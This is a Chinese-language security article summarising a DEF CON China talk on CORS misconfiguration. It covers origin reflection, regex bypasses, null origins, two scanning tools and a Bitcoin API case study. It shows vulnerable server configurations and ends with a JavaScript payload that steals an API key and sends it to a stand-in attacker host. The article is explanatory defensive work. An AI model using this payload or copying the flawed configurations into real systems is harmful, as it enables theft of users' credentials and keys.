2018年5月著名的駭客年會Defcon移師至中國北京,為Defcon第一次於美國本土之外的地點舉辦。本次會議介紹了許多目前最當紅的加密貨幣的安全議題,而段海新教授(清華大学網路研究院)與陳建軍(清華大学網路研究院博士研究生)發表了Hacking Intranet from Outside: Security Problems of Cross Origin Resource Sharing (CORS)此議題,介绍攻擊者可利用此CORS安全漏洞可以繞過防火牆攻擊內網伺服器、並結合之前不可利用的CSRF漏洞和取得網站的Cookie信息取得伺服器權限並且對目前對目前線上商業網站的大規模研究。
Corss-Origin Sharing攻擊介紹
Cross-Origin Resource Sharing (CORS) 是目前一種新興的檔案分享方式,目的是繞過瀏覽器的同源政策(Same Origin Policy) 圖一。CORS讓不同網域的網站可以共用資源,如API呼叫取得登入憑證等操作。CORS 設定常被開發人員所忽略,主要原因為目前瀏覽器實作CORS協定,並不支援多網域的來源清單。造成開發人員的網站需要讓多網域共享資源時,須動態產生白名單網域來源清單,因開發人員動態產生白名單時信任,攻擊者可控的HTTP Request Origin的參數,造成攻擊者可取得伺服器上的機敏資料。
圖一 同源政策
由於CORS攻擊主要是使用null或是Fuzz的技術來繞過伺服器的允許清單,以下針對幾種常見的繞過方式進行說明
一、 Origin反射(Origin reflection)
說明: 網站接受使用者輸入當Origin來源網站,並且允許該網站。
add_header "Access-Control-Allow-Origin" $http_origin;
add_header “Access-Control-Allow-Credentials” “true”;
解決方法:勿直接信任使用者輸入的http_origin欄位,
建議: 使用白名單來源清單來取代正規表示式。
圖二 Origin反射
二、前綴繞過(Prefix bypass)
說明:網站允許的Origin來源網站為www.sample.com,但因正規表示寫法並未正確實作,造成攻擊者可用www.evilsample.com繞過。
if (reqOrigin.endswith(“example.com”) ) {
respHeaders[“Access-Control-Allow-Origin”]=reqOrigin }
解決方法:建議使用白名單來源清單來取代正規表示式。
圖三 前綴繞過
三、後綴繞過(Postfix bypass)
說明:網站允許的Origin來源網站為www.sample.com,但因正規表示寫法並未正確實作造成攻擊者可用www.sample.com.evil繞過。
if ($http_origin ~ “http://(example.com|foo.com)”) {
add_header "Access-Control-Allow-Origin" $http_origin;
} }
解決方法:$http_origin ~ “http://(example.com|foo.com$)
可解決。
圖四 後綴繞過
四、未過濾異常符號
說明:網站允許的Origin來源網站為www.sample.com,但因正規表示寫法並未正確實作造成攻擊者可用wwwAample.com.evil繞過。
Access-Control-Allow-Origin: http://wwwaexample.com
解決方法:於伺服器端過濾異常字元如下['''',''-'',''"'',''{'',''}'',''+'',''_'',''^'',''%60'',''!'',''~'',''`'','';'',''|'',''&'',"''",''('','')'',''*'','','',''$'',''='',''+'',"%0b"
圖五 未跳脫點符號
五、null測試
說明:網站允許的Origin來源網站為www.sample.com,但因正規表示寫法並未正確實作造成攻擊者可用null繞過。
解決方法:於伺服器設定禁止使用者輸入origin:null。
圖六 null測試
而目前流行的CORS測試工具除了常見的Burp suite外還有下列CORSCANNER為本次Defcon China會議中所發表的駭客工具
CORSCANNER工具介紹:
CORSCANNER是一個使用python撰寫的CORS設定檢測工具,可被利用來找出常見的來源清單設定錯誤如上文所提到的一至五問題。(https://github.com/chenjj/CORScanner).
使用方式: python cors_scan.py -u example.com
圖七 CORSCANNER
Thetfuzzer工具介紹:
TheftFuzze 為利用fuzz檢查伺服器的Cross-Origin Resource Sharing設定工具。(https://github.com/sxcurity/theftfuzze)
此工具會利用下列符號字元繞過CORS來源清單 ['''',''-'',''"'',''{'',''}'',''+'',''_'',''^'',''%60'',''!'',''~'',''`'','';'',''|'',''&'',"''",''('','')'',''*'','','',''$'',''='',''+'',"%0b"]
使用方式:python theftfuzzer.py -d ''http://example.com/api/data''
圖八 theftfuzzer
利用CORS攻擊Bitcoin API案例
2016年James Kettle於AppSec USA會議中,發表駭客利用CORS攻擊Bitcoin API的案例,攻擊者註冊一個惡意網域https://btc-exchange.evil.com,利用Origin參數植入https://btc-exchange.evil.com,並對於https://btc-exchange發送API key請求,因伺服器未正確檢核來源清單,故https://btc-exchange允許btcoin.evil.com存取伺服器上的API key機敏資訊。
圖九 繞過同源政策
攻擊者並可以結合AJAX CSRF攻擊,利用下列語法將取得的API key傳送至攻擊者架設的網站主機。
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(''get'',''https://btc-exchange/api/apikey'',true);
req.withCredentials = true;
req.send();
function reqListener() {
location=''//atttacker.net/log?key=''+this.responseText;
};
本文作者目前任職於中華資安國際資深技術顧問
說明:
同源政策(Same Origin Policy)
同源政策(Same Origin Policy)為瀏覽器的安全模型,在同網域、同協定、同埠號的狀態下視為同源。同源網站可以互相存取網域內的腳本與資源檔案以下表一為例說明
Same Origin Policy
相關參考資料
1. https://www.defcon.org/html/defcon-china/dc-cn-speakers.html#Duan
Hacking Intranet from outside: security problems of Cross Origin Resource Sharing (CORS) Dr. Haixin Duan
2. https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties Exploiting CORS misconfigurations for Bitcoins and bounties James Kettle
3. https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007) Test Cross Origin Resource Sharing (OTG-CLIENT-007)
4. https://en.wikipedia.org/wiki/Same-origin_policy Same-Origin Policy